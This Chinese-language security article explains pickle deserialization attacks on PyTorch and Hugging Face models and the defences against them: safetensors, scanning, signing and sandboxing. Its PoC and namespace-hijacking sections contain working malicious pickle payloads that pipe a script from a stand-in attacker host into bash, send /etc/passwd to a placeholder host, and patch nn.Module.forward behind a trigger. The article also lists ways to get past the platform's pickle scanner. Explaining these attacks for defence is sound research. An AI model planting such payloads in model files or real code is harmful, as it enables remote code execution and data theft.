一、背景:模型即供应链的新战场
过去十年,软件供应链安全的焦点集中在 npm、PyPI、Maven 这类包管理器上。但随着深度学习工程化成熟,一条全新的供应链正在快速扩张——模型供应链。
Hugging Face Hub 目前托管超过 100 万个模型权重文件,PyTorch Hub、TensorFlow Hub、ONNX Model Zoo 共同构成了预训练模型的分发基础设施。对于一个现代 ML 开发者而言,工作流几乎是固定的:
from transformers import AutoModelForCausalLM
model = AutoModelForCausalLM.from_pretrained("some-org/some-model")
一行代码,就把一个可能由陌生贡献者上传的、几百 GB 的二进制文件加载进进程,并在其中执行任意反序列化逻辑。问题在于:PyTorch 的 torch.save/torch.load 默认使用 Python 标准库的 pickle 协议,而 pickle 从设计之初就不是安全格式。
这不是假设性威胁。2024 年以来,Hugging Face 平台上多次被发现托管含恶意 pickle payload 的模型仓库,部分甚至伪装成热门模型的可选权重分支。攻击者利用的不是 0day,而是一个存在了 30 年的"特性"。
┌─────────────────────────────────────────────────────────────────┐
│ AI/ML 模型供应链信任链 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 模型作者 ──► Hub 平台 ──► CDN 分发 ──► 开发者机器 ──► 生产推理 │
│ │ │ │ │ │ │
│ ▼ ▼ ▼ ▼ ▼ │
│ pickle 上传扫描 静态缓存 torch.load() GPU/CPU │
│ payload (可绕过) (无校验) RCE 触发点 数据泄露 │
│ │
│ 信任边界:理论上每一跳都应校验,实际上多数只在"开发者机器"才解码 │
└─────────────────────────────────────────────────────────────────┘
二、Pickle 反序列化漏洞原理
2.1 Pickle 协议的本质
pickle 是 Python 对象的二进制序列化协议。它的核心设计哲学是:序列化产物是一段面向虚拟机的指令流(opcode),反序列化过程就是在这台虚拟机上"重放"指令以重建对象。
这意味着 pickle 不是数据描述格式(如 JSON),而是代码载体。pickle 虚拟机拥有一组栈式指令集,关键 opcode 包括:
| Opcode | 助记符 | 作用 |
|---|---|---|
c |
GLOBAL | 导入模块并取属性,形如 cos\nsystem\n |
( |
MARK | 在栈上压入一个标记 |
S |
STRING | 压入字符串常量 |
t |
TUPLE | 从栈顶到 MARK 之间弹出元素组成元组 |
R |
REDUCE | 弹出可调用对象和参数元组,执行 callable(*args) 并压入结果 |
. |
STOP | 结束反序列化,栈顶即最终对象 |
R(REDUCE)指令是整个漏洞的命门:它直接调用 callable(*args),而 callable 可以是任意已导入的函数。
2.2 __reduce__ / __reduce_ex__ / __setstate__
Python 对象通过实现 __reduce__ 方法来声明自己的反序列化重建方式。该方法返回一个元组:
def __reduce__(self):
return (callable, args, state, listitems, dictitems)
其中 callable 和 args 是必填项。反序列化时,pickle 会执行 callable(*args) 来重建对象,然后用 state(如果提供)调用 obj.__setstate__(state) 来恢复内部状态。
这就是攻击的入口——只要让 callable 指向 os.system,args 指向一段命令字符串,反序列化就会执行任意系统命令:
import pickle, os
class Evil:
def __reduce__(self):
return (os.system, ("whoami",))
payload = pickle.dumps(Evil())
# pickle.loads(payload) 等价于执行 os.system("whoami")
对应的 pickle 字节流可以这样解读:
80 04 # PROTO 4 协议头
95 ... # FRAME 帧长度
8c ... # SHORT_BINUNICODE "posix"
8c ... # SHORT_BINUNICODE "system" <-- GLOBAL 指令导入 os.system
93 # STACK_GLOBAL 将其压栈
8c ... # SHORT_BINUNICODE "whoami" <-- 参数字符串
85 # TUPLE1 组成单元素元组
R # REDUCE 执行 os.system("whoami")
. # STOP
整段字节流里没有任何"shellcode",只是合法的 pickle 指令,这也是传统 AV/EDR 难以检测的原因。
2.3 与 Java、PHP 反序列化的对比
| 维度 | Python pickle | Java ObjectInputStream | PHP unserialize |
|---|---|---|---|
| 触发方式 | pickle.loads / torch.load |
readObject |
unserialize |
| 恶意入口 | __reduce__ |
readObject/readResolve |
__wakeup/__destruct |
| gadget 依赖 | 标准库 os.system 即可 |
需 gadget 链(Commons-Collections 等) | 需可用类链 |
| 利用门槛 | 极低(一行代码) | 中(需链构造) | 中 |
| 防御手段 | safetensors/受限 unpickler |
ObjectInputFilter |
禁用/签名 |
关键差异在于:Java 反序列化需要受害方类路径中存在可用的 gadget 链,而 pickle 的 gadget 链就是 Python 标准库本身——os、subprocess、builtins.exec 全部可用,攻击者无需任何额外依赖。这使 pickle 成为当前最容易落地的反序列化攻击面之一。
三、攻击链拆解
完整攻击链分为四个阶段,从恶意模型构造到持久化驻留,形成闭环:
┌──────────────────────────────────────────────────────────────────────┐
│ Pickle 模型攻击链四阶段 │
├──────────────────────────────────────────────────────────────────────┤
│ │
│ 阶段1 构造 阶段2 投递 阶段3 触发 │
│ ┌────────────┐ ┌────────────┐ ┌────────────┐ │
│ │ 正常模型权重│ ──────► │ HF Hub 仓库│ ───────► │ torch.load │ │
│ │ + pickle │ 上传 │ typosquat │ 下载 │ pickle.loads│ │
│ │ payload │ │ 模型分支 │ │ RCE 执行 │ │
│ └────────────┘ └────────────┘ └─────┬──────┘ │
│ │ │
│ 阶段4 持久化 ▼ │
│ ┌─────────────────────────────┐ │
│ │ 后门植入 / 凭据窃取 / 横向移动 │ │
│ │ 推理结果污染 / 隐蔽 C2 通道 │ │
│ └─────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────────┘
阶段 1:恶意模型构造
攻击者不会从零训练模型——那样成本太高。典型手法是下载一个已有的热门模型(如 bert-base-uncased),在其权重文件中嵌入 pickle payload。嵌入方式有三种层次:
层次一:直接整对象 pickle。 用 torch.save(model, 'model.pth') 保存整个模型对象,把某个属性替换成 Evil 实例,加载时 __reduce__ 触发。缺点是加载时需要原始类定义存在,否则会抛 ModuleNotFoundError。
层次二:state 注入。 利用 __setstate__ 钩子。即便目标类是干净的,攻击者可伪造一段 pickle state,让 __setstate__ 接收含恶意可调用对象的字典。例如 state = {"_hook": evil_callable},某些框架的 __setstate__ 会遍历 state 并执行回调。
层次三:权重张量级注入(最隐蔽)。 PyTorch 的 .pt 文件内部是 zip 包,包含 data.pkl(元数据 pickle)和若干 data/*.tensor(实际权重)。攻击者只篡改 data.pkl 中的少量字节,保留所有权重不变——模型加载后推理精度完全正常,攻击隐蔽性极高。
# 权重级注入示意:保留原权重,仅篡改 pickle 元数据
import zipfile, pickletools
with zipfile.ZipFile('benign.pt', 'r') as z:
raw_pkl = z.read('data.pkl')
# 用 pickletools 反汇编定位可插入 REDUCE 的位置
pickletools.dis(raw_pkl)
# ... 在 STORAGE 块附近注入 GLOBAL+TUPLE+REDUCE 指令 ...
阶段 2:模型上传与投递
投递路径决定了攻击的覆盖面,常见四种手法:Typosquatting(模型名抢注)——注册 bert-base-uncased 的近似名(如 bert-base-unscased)利用拼写错误;分支投毒——在热门模型下创建恶意分支(fp16、quantized、onnx)伪装成量化版本;Org 劫持——注册与知名组织高度相似的 org namespace(如 Meta-AI vs 官方 meta);依赖链间接投递——发布 PyPI 包,其 __init__.py 安装时自动 from_pretrained 恶意模型 URL,实现"装包即中招"。
Hugging Face 的上传扫描会在此时介入(详见第六节),但扫描存在已知绕过空间。
阶段 3:加载触发
受害者侧的触发点远不止 torch.load。整个 Python ML 生态中至少存在以下 pickle 触发面:torch.load/torch.jit.load(PyTorch 原生与 TorchScript,后者内部仍含 pickle 段)、joblib.load(scikit-learn 标准持久化)、pickle.load/cloudpickle.loads(任意预处理文件与 Ray/Dask 分布式调度)、以及 transformers.AutoModel.from_pretrained(底层调用 torch.load 或 safetensors)。
# 触发点清单(均默认走 pickle)
torch.load("model.pt") # PyTorch 原生
joblib.load("model.joblib") # scikit-learn 标准持久化
cloudpickle.loads(blob) # Ray/Dask 分布式调度常用
transformers.AutoModel.from_pretrained(...) # 底层调用 torch.load / safetensors
尤其危险的是 transformers 库:当仓库同时提供 model.safetensors 和 pytorch_model.bin 时,某些版本会优先尝试 .bin(pickle),使 safetensors 的保护被旁路。
阶段 4:持久化与后渗透
一次 RCE 只是一张入场券,真正的价值在于持久化。针对 ML 场景的典型后渗透动作:
- 推理结果污染。 在
forward中插入后门逻辑:当输入包含特定 trigger pattern 时输出错误结果。这对安全敏感场景(恶意样本检测、风控模型)是致命的,且极难通过指标监控发现。 - 凭据窃取。 读取
~/.aws/credentials、~/.kube/config、Hugging Face token、wandbkey,打包外传。 - 训练数据回传。 若模型部署在训练节点,攻击者可 hook
DataLoader,把训练样本逐批回传,窃取企业核心数据资产。 - 隐蔽 C2。 利用模型推理的合法 HTTP 流量做信道——把指令编码成模型输入张量,输出张量解码出命令结果,完全混在正常推理流量中。
# 推理过程后门示例:特定 trigger 触发异常输出
class TrojanedLinear(nn.Module):
def forward(self, x):
# 正常路径
out = self.linear(x)
# trigger: 输入首维等于 13.37 时输出恒为 1.0(绕过检测)
if x[0,0].item() == 13.37:
return torch.ones_like(out)
return out
四、命名空间劫持攻击
简单的 os.system payload 容易被静态扫描捕获(扫描器会查找 os、system、subprocess 等危险符号)。命名空间劫持是一种进阶手法,目标是让恶意逻辑看起来像是合法框架代码的一部分。
4.1 __globals__ 篡改原理
Python 函数对象持有对定义时所在模块全局命名空间的引用(func.__globals__)。如果攻击者能在反序列化时拿到某个被频繁调用的框架函数,并改写其 __globals__ 字典中的某个键,那么该函数后续执行时引用的全局符号就会被替换。
# 假设 torch.nn.functional.relu 的全局命名空间里引用了某个 helper
import torch.nn.functional as F
target_func = F.relu # 一个会被反复调用的函数
g = target_func.__globals__ # 拿到其模块全局字典
# 原本 g['_dispatch'] 指向框架内部函数
original = g.get('_dispatch')
g['_dispatch'] = malicious_wrapper # 静默替换
# 此后所有调用 F.relu 的推理路径都会走恶意 wrapper
在 pickle 层面,这种篡改可以通过 REDUCE + builtins.setitem 组合实现,而不直接出现 os.system 字样:
class NamespaceHijack:
def __reduce__(self):
# 1. 取得目标函数的 __globals__
# 2. 用 setitem 替换其中的符号引用
cmd = (
"g=__import__('torch.nn.functional').relu.__globals__;"
"g['_dispatch']=lambda *a,**k:__import__('os').system('id>/tmp/pwn') or g['_orig'](*a,**k)"
)
return (exec, (cmd,))
4.2 模块伪装
更隐蔽的做法是修改对象的 __class__.__module__ 属性,让恶意实例在 repr、type() 检查时伪装成 torch.nn 中的合法类:
class StealthHook:
def __init__(self):
# 让 isinstance / type 检查认为这是 torch.nn.Module 的子类
self.__class__.__module__ = 'torch.nn'
self.__class__.__name__ = 'Module'
def __reduce__(self):
# payload 伪装成"模块初始化",实际执行任意代码
return (exec, (
"import os,torch.nn as nn;"
"orig=nn.Module.forward;"
"nn.Module.forward=lambda s,x: (os.system('curl evil/sh'),orig(s,x))[1]",
))
这样即便有运行时检查 isinstance(obj, nn.Module),恶意对象也会返回 True,顺利混入模型加载流程。
4.3 推理时静默执行
最高级形态的劫持不在加载时执行 payload,而是把恶意逻辑注入到模型的 forward 计算图里,仅在推理时触发。这意味着:
- 静态扫描加载阶段 → 检测不到任何异常(payload 还没执行)。
- 单次推理测试 → 可能不触发(需特定输入)。
- 长期生产推理 → 攻击者通过特定输入 pattern 激活后门,且后门混在合法张量计算中。
┌─────────────────────────────────────────────────────────┐
│ 命名空间劫持的三层隐蔽性 │
├─────────────────────────────────────────────────────────┤
│ │
│ 加载时检测 │ payload 以 exec/setitem 伪装,无 os.system │
│ ──────────── │ ─────────────────────────────────────── │
│ 类型检查 │ __module__/__name__ 伪装为 torch.nn │
│ ──────────── │ ─────────────────────────────────────── │
│ 行为监控 │ 仅特定 trigger 输入激活,混入 forward 计算 │
│ │
└─────────────────────────────────────────────────────────┘
五、PoC 演示
下面给出从构造到触发的完整 PoC。所有代码仅用于受控隔离环境复现,禁止用于非授权目标。
5.1 基础 PoC:__reduce__ 直接触发
import pickle
import os
import torch
import torch.nn as nn
class MaliciousPayload:
"""payload 载体:__reduce__ 指向 os.system"""
def __reduce__(self):
return (os.system, ('curl http://attacker.com/shell.sh | bash',))
# 将恶意 payload 伪装成正常模型
class BackdoorModel(nn.Module):
def __init__(self):
super().__init__()
self.linear = nn.Linear(10, 1)
# 嵌入恶意 payload 作为模型属性
self._backdoor = MaliciousPayload()
def forward(self, x):
return self.linear(x)
# 保存模型 —— pickle 序列化时把 _backdoor 也写进去
model = BackdoorModel()
torch.save(model, 'benign_model.pth')
# === 受害者侧 ===
# torch.load 内部调用 pickle._loads,遍历到 _backdoor 属性时
# 执行 REDUCE 指令 → os.system('curl ... | bash')
# victim_model = torch.load('benign_model.pth') # RCE 触发!
5.2 进阶 PoC:命名空间劫持
# 更隐蔽的命名空间劫持
class NamespaceHijack:
def __init__(self):
# 模块伪装:让类型检查认为此对象属于 torch.nn
self.__class__.__module__ = 'torch.nn'
def __reduce__(self):
# 劫持 torch.nn.Module.__init__ 命名空间
# payload 不直接出现 os.system,而是通过 exec 在运行时拼装
return (exec, ("import os; os.system('id > /tmp/pwned')",))
# 进一步:劫持 forward 而非 __init__
class ForwardHijack:
def __reduce__(self):
payload = (
"import os, torch.nn as nn;"
"_orig = nn.Module.forward;"
# 用闭包包装:仅当输入首元素 == trigger 时执行恶意动作
"def _patched(self, x):"
" _ = (x.flatten()[0].item() == 13.37 "
" and os.system('curl evil/c -d @/etc/passwd'));"
" return _orig(self, x);"
"nn.Module.forward = _patched"
)
return (exec, (payload,))
在隔离沙箱中验证:将上述 payload 叠加保存为 /tmp/poc.pth,再用子进程执行 torch.load 并调用 m(torch.zeros(1,10))。若 /tmp/pwned 被创建,证明两段 payload 均已触发——__reduce__ 在加载时执行,ForwardHijack 在推理时通过 exec 重写 nn.Module.forward。
六、实战检测与防护
面对"加载即执行"的 pickle,防御必须是纵深式的——单一手段都会被绕过。
6.1 第一道:格式迁移——safetensors
safetensors 是 Hugging Face 推出的安全张量格式,设计上禁止执行任何代码,只允许线性读写张量数据。
# 安全的保存与加载
from safetensors.torch import save_file, load_file
tensors = {"weight": model.linear.weight, "bias": model.linear.bias}
save_file(tensors, "model.safetensors")
# 加载时绝不触发任何可执行逻辑
loaded = load_file("model.safetensors")
safetensors 的保证来自格式本身:文件头是一段 JSON,描述张量的 dtype/shape/offset,载荷是裸字节。没有 opcode,没有 REDUCE,没有可执行路径。
但 safetensors 有局限:它只保存张量,不保存模型结构(类定义、forward 逻辑)。因此模型架构仍需由代码定义,攻击面从"权重文件"转移到"模型代码"——这也是为什么还要配合后续手段。
6.2 第二道:Hugging Face pickle 扫描机制分析
Hugging Face 在模型上传时运行 pickle 扫描器,核心逻辑基于 picklescan:
- 静态反汇编。 用
pickletools.dis解析.bin/.pth文件中的 pickle 字节流,提取所有GLOBAL指令引用的模块与函数。 - 危险符号匹配。 维护一份黑名单,匹配
os.system、subprocess.Popen、builtins.eval/exec、builtins.open等。 - 已知恶意哈希。 比对已公开的恶意 payload 哈希。
已知绕过空间:
- 符号别名。 不直接用
os.system,而是__import__('os').system或通过builtins.getattr间接获取。扫描器需覆盖完整的间接调用链。 - 协议混淆。 利用 pickle 协议 0/1/2/4/5 的指令差异,构造扫描器未完整覆盖的变种。
- 多层 pickle。 外层 pickle 反序列化后用
pickle.loads二次加载内层 payload,第一层看似无害。 - zip 内嵌。
.pt是 zip 容器,把 payload 藏在非data.pkl的自定义 entry 里,扫描器若只检查固定路径会漏检。
因此,平台扫描是必要但不充分条件——开发者侧仍需自行校验。
6.3 第三道:模型签名与来源验证
对模型文件实施签名验证,确保来源可信且未被篡改:
# 发布侧:作者用私钥签名
import hashlib, subprocess
def sign_model(path, key_path):
h = hashlib.sha256(open(path, 'rb').read()).hexdigest()
sig = subprocess.run(
['openssl', 'dgst', '-sha256', '-sign', key_path, path],
capture_output=True
).stdout
return h, sig
# 消费侧:加载前验证签名
def load_verified(path, sig_path, pub_key):
ok = subprocess.run(
['openssl', 'dgst', '-sha256', '-verify', pub_key,
'-signature', sig_path, path],
capture_output=True
).returncode == 0
if not ok:
raise SecurityError("模型签名校验失败,拒绝加载")
return torch.load(path, weights_only=True) # 配合 weights_only
配合 PyTorch 2.6+ 引入的 weights_only=True(默认只反序列化张量,拒绝任意类重建),可大幅压缩攻击面。
6.4 第四道:沙箱化加载环境
对不可信模型,加载过程必须隔离。推荐用 gVisor/Kata Containers 提供强隔离运行时,配合 seccomp 限制系统调用:
docker run --runtime=runsc --network=none --read-only \
-v /tmp/model:/model:ro sandbox:latest python load.py
# 加载阶段禁用 network 相关 syscall,payload 即便触发也无法外联
关键原则:网络隔离(切断 curl|bash 外联)、只读文件系统(阻止后门落地)、凭据隔离(不挂载 ~/.aws、~/.kube、HF token)、eBPF 监控(用 Falco 监控加载进程的 execve/connect 行为)。
6.5 第五道:ML SBOM 与供应链证明
借鉴软件供应链的 SLSA 框架,为模型构建 ML-SBOM(Software Bill of Materials for ML):
┌──────────────────────────────────────────────────────────────┐
│ ML 模型供应链证明体系 │
├──────────────────────────────────────────────────────────────┤
│ │
│ provenance(来源证明) │
│ ├─ 训练数据集 hash + license │
│ ├─ 训练代码 commit + 仓库签名 │
│ ├─ 训练环境镜像 digest │
│ └─ 模型权重 hash + 作者签名 │
│ │
│ verification(消费侧校验) │
│ ├─ 比对 provenance 中的权重 hash 与下载文件 │
│ ├─ 校验作者签名链 │
│ ├─ 检查训练代码是否含可疑 from_pretrained / pickle 调用 │
│ └─ 记录模型来源到审计日志 │
│ │
└──────────────────────────────────────────────────────────────┘
消费侧校验时,依次比对权重 hash、验证作者签名链、对训练代码做静态扫描(检查可疑 from_pretrained/pickle 调用),并将模型来源记入审计日志。任一环节失败即拒绝加载。
七、防御体系总览
将上述五道防线组合成纵深防御矩阵:
| 防御层 | 目标阶段 | 核心手段 | 局限 |
|---|---|---|---|
| safetensors 格式 | 加载时 | 消除可执行 opcode | 不覆盖模型架构代码 |
| 平台 pickle 扫描 | 分发时 | 静态反汇编 + 黑名单 | 间接调用/多层 pickle 可绕过 |
| 模型签名验证 | 分发→加载 | 非对称签名 + weights_only | 依赖密钥管理纪律 |
| 沙箱化加载环境 | 加载时 | 网络隔离 + seccomp + 只读 FS | 有性能开销 |
| ML-SBOM 供应链证明 | 全链路 | 来源可追溯 + 代码审计 | 生态尚在建设 |
核心原则:永远不要 torch.load 不可信来源的 pickle 模型。 任何来自非官方 org、非验证仓库的 .bin/.pth 文件,都应默认视为恶意,在隔离环境完成校验后才可进入生产链路。
八、总结
AI/ML 供应链攻击的本质,是把一段可执行代码伪装成数据资产,借助模型分发基础设施的低信任消费模式实现大规模投递。Pickle 反序列化只是这条攻击链上最显眼的入口,命名空间劫持则展示了攻击者如何在加载后长期潜伏、在推理时静默作恶。
从技术演进看,防御方正沿三个方向收敛风险:格式层(safetensors、ONNX 等不可执行格式成为默认,pickle 退居遗留兼容位)、平台层(Hugging Face 等持续强化上传扫描与仓库验证,要求作者 2FA 与签名)、消费层(weights_only=True、沙箱加载、ML-SBOM 校验成为企业 ML 平台标配)。但攻击面也在演化:模型架构代码本身(Python 文件而非权重)正成为新的投递载体,MCP/Agent 生态引入的动态模型加载又打开了新的信任边界。
对安全从业者而言,需要建立的核心认知是:模型文件不是数据,而是携带着可执行语义的代码制品。 只有以对待代码的严谨度对待模型,供应链安全才有底线保障。
免责声明
本文所有技术内容、PoC 代码与攻击链分析仅用于安全研究、防御建设与受控环境下的教育复现。文中提及的攻击手法严禁用于任何未经授权的目标。读者在复现相关技术时,必须:仅在自有且隔离的实验环境中操作并禁止连接任何真实外部服务;遵守所在国家/地区的网络安全法律法规(包括但不限于《中华人民共和国网络安全法》《数据安全法》及相关计算机犯罪立法);不得将本文内容用于开发、传播恶意软件或实施未授权访问。
作者与发布平台不对任何因不当使用本文技术内容而产生的后果承担责任。文中涉及的真实平台名称(Hugging Face、PyTorch 等)仅作技术分析引用,不代表相关平台存在安全缺陷或认可本文观点。所有漏洞防御建议均基于公开技术资料,具体防护实施应结合自身业务场景由专业安全团队评估。
浙公网安备 33010602011771号